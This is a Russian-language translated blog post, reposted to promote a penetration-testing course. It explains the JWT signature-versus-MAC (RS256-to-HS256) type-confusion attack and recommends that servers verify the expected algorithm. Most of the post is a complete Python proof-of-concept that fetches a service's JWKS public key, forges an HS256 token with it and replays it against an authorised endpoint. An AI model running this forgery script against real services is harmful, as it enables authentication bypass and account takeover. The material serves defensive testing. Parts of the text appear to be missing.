- PVSM.RU - https://www.pvsm.ru -
Всем привет. Ни для кого не секрет, что ежемесячно OTUS запускает несколько абсолютно новых уникальных курсов, в этом месяце в их число вошел курс «Пентест. Практика тестирования на проникновение» [1]. По устоявшейся традиции, в преддверии старта курса, делимся с вами переводом полезного материала по данному направлению.

Обычно используются две схемы: RS256 (алгоритм на основе цифровой подписи [3]) и HS256 (алгоритм на основе MAC [4]). Совсем небезопасным вариантом будет NULL-схема: вообще не включать информацию о проверке, — к сожалению NULL-схема не была принята целевым веб-сервером.
Небольшая вариация на тему атаки type confusion на JWT, которая может сработать, если реализация сервера использует библиотеку проверки, которая просто вызывает код, подобный verify(token, key) и предполагает, что будут использоваться только токены с цифровой подписью. В этом случае второй параметр «ключ» всегда будет открытым и будет предъявлен для проверки (цифровые подписи используют закрытый ключ для создания подписи и соответствующий открытый ключ для проверки созданной подписи).
Теперь злоумышленник может получить открытый ключ, создать новый токен на основе MAC и использовать его для создания части верификации этого токена. В схеме на основе MAC для создания верификационной информации нужен только секретный ключ, и таким образом злоумышленник использует открытый ключ (цифровой подписи) в качестве секретного ключа для MAC. Если этот токен теперь передается в проверку на сервере, библиотека идентифицирует схему, которая будет использоваться для токена (который был установлен злоумышленником как HS256, указывающих на схему MAC). Библиотека будет использовать второй параметр в качестве входных данных для создания MAC. Поскольку это открытый ключ, новый MAC совпадает с MAC, который был передан злоумышленников, а поскольку они совпадают, сервер примет поддельный токен. Что в таком случае делать разработчику приложения? Если токен принимается сервером, сервер всегда должен проверять совпадает ли используемый алгоритм с тем, который изначально был запланирован разработчиком.
Теоретически, это должно быть легко проверить, но рабочего инструмента я не нашел. Поэтому я сам написал скрипт на python. Чтобы им воспользоваться, в исходном коде вы должны использовать следующие конфигурации:
jwks_url: откуда можно получить информацию об открытом ключе. JWKS [5] используется многими службами для открытого распространения информации о ключе. operation_url: HTTP GET-запрос, который использует JWT-токен для авторизации.token: валидный JWT для сконфигурированной операции.audience: аудитория, для которой был настроен токен.Скрипт делает следующее:
Поскольку возвращаемый статус-код (с модифицированным токеном) был 401 (авторизация запрещена), проверки авторизации на стороне целевого сервера отработали, и он, таким образом, не был скомпрометирован signature-vs-mac атакой. Если бы это работало, идентичные статус-коды и аналогичные итоговые документы были бы созданы при обоих HTTP-вызовах (с исходным, а также с модифицированным токеном).
Надеюсь, эта статья поможет вам в вашей практике пентеста, пользуйтесь скриптом на python с удовольствием:
import jwt
import requests
from jwcrypto import jwk
from cryptography.x509 import load_pem_x509_certificate
from cryptography.hazmat.backends import default_backend
# configuration
jwks_url = "https://localhost/oauth2/.well-known/jwks.json"
operation_url = "https://localhost/web/v1/user/andy"
audience = "https://localhost"
token = "eyJh..."
# retrieves key from jwks
def retrieve_jwks(url):
r = requests.get(url)
if r.status_code == 200:
for key in r.json()['keys']:
if key['kty'] == "RSA":
return jwk.JWK(**key)
print("no usable RSA key found")
else:
print("could not retrieve JWKS: HTTP status code " + str(r.status_code))
def extract_payload(token, public_key, audience):
return jwt.decode(token, public_key, audience=audience, algorithms='RS256')
def retrieve_url(url, token):
header = {'Authorization' : "Bearer " + token}
return requests.get(url, headers=header)
# call the original operation and output it's results
original = retrieve_url(operation_url, token)
print("original: status: " + str(original.status_code) + "nContent: " + str(original.json()))
# get key and extract the original payload (verify it during decoding to make
# sure that we have the right key, also verify the audience claim)
public_key = retrieve_jwks(jwks_url).export_to_pem()
payload = extract_payload(token, public_key, audience)
print("(verified) payload: " + str(payload))
# create a new token based upon HS256, cause the jwt library checks this
# to prevent against confusion attacks.. that we actually try to do (:
mac_key = str(public_key).replace("PUBLIC", "PRIVATE")
hs256_token = jwt.encode(payload, key=mac_key, algorithm="HS256")
# call the operation with the new token
modified = retrieve_url(operation_url, str(hs256_token))
print("modified: status: " + str(modified.status_code) + "nContent: " + str(modified.json()))
На этом все. Всех, кто дочитал до конца, ждем на бесплатном вебинаре на тему: «Как начать разбираться с багами в Web» [1].
Автор: Дмитрий
Источник [6]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/python/329762
Ссылки в тексте:
[1] «Пентест. Практика тестирования на проникновение»: https://otus.pw/pFQP/
[2] JSON Web Token: https://en.wikipedia.org/wiki/JSON_Web_Token
[3] алгоритм на основе цифровой подписи: https://en.wikipedia.org/wiki/Digital_signature
[4] алгоритм на основе MAC: https://en.wikipedia.org/wiki/Message_authentication_code
[5] JWKS: https://auth0.com/docs/jwks
[6] Источник: https://habr.com/ru/post/467015/?utm_source=habrahabr&utm_medium=rss&utm_campaign=467015
Нажмите здесь для печати.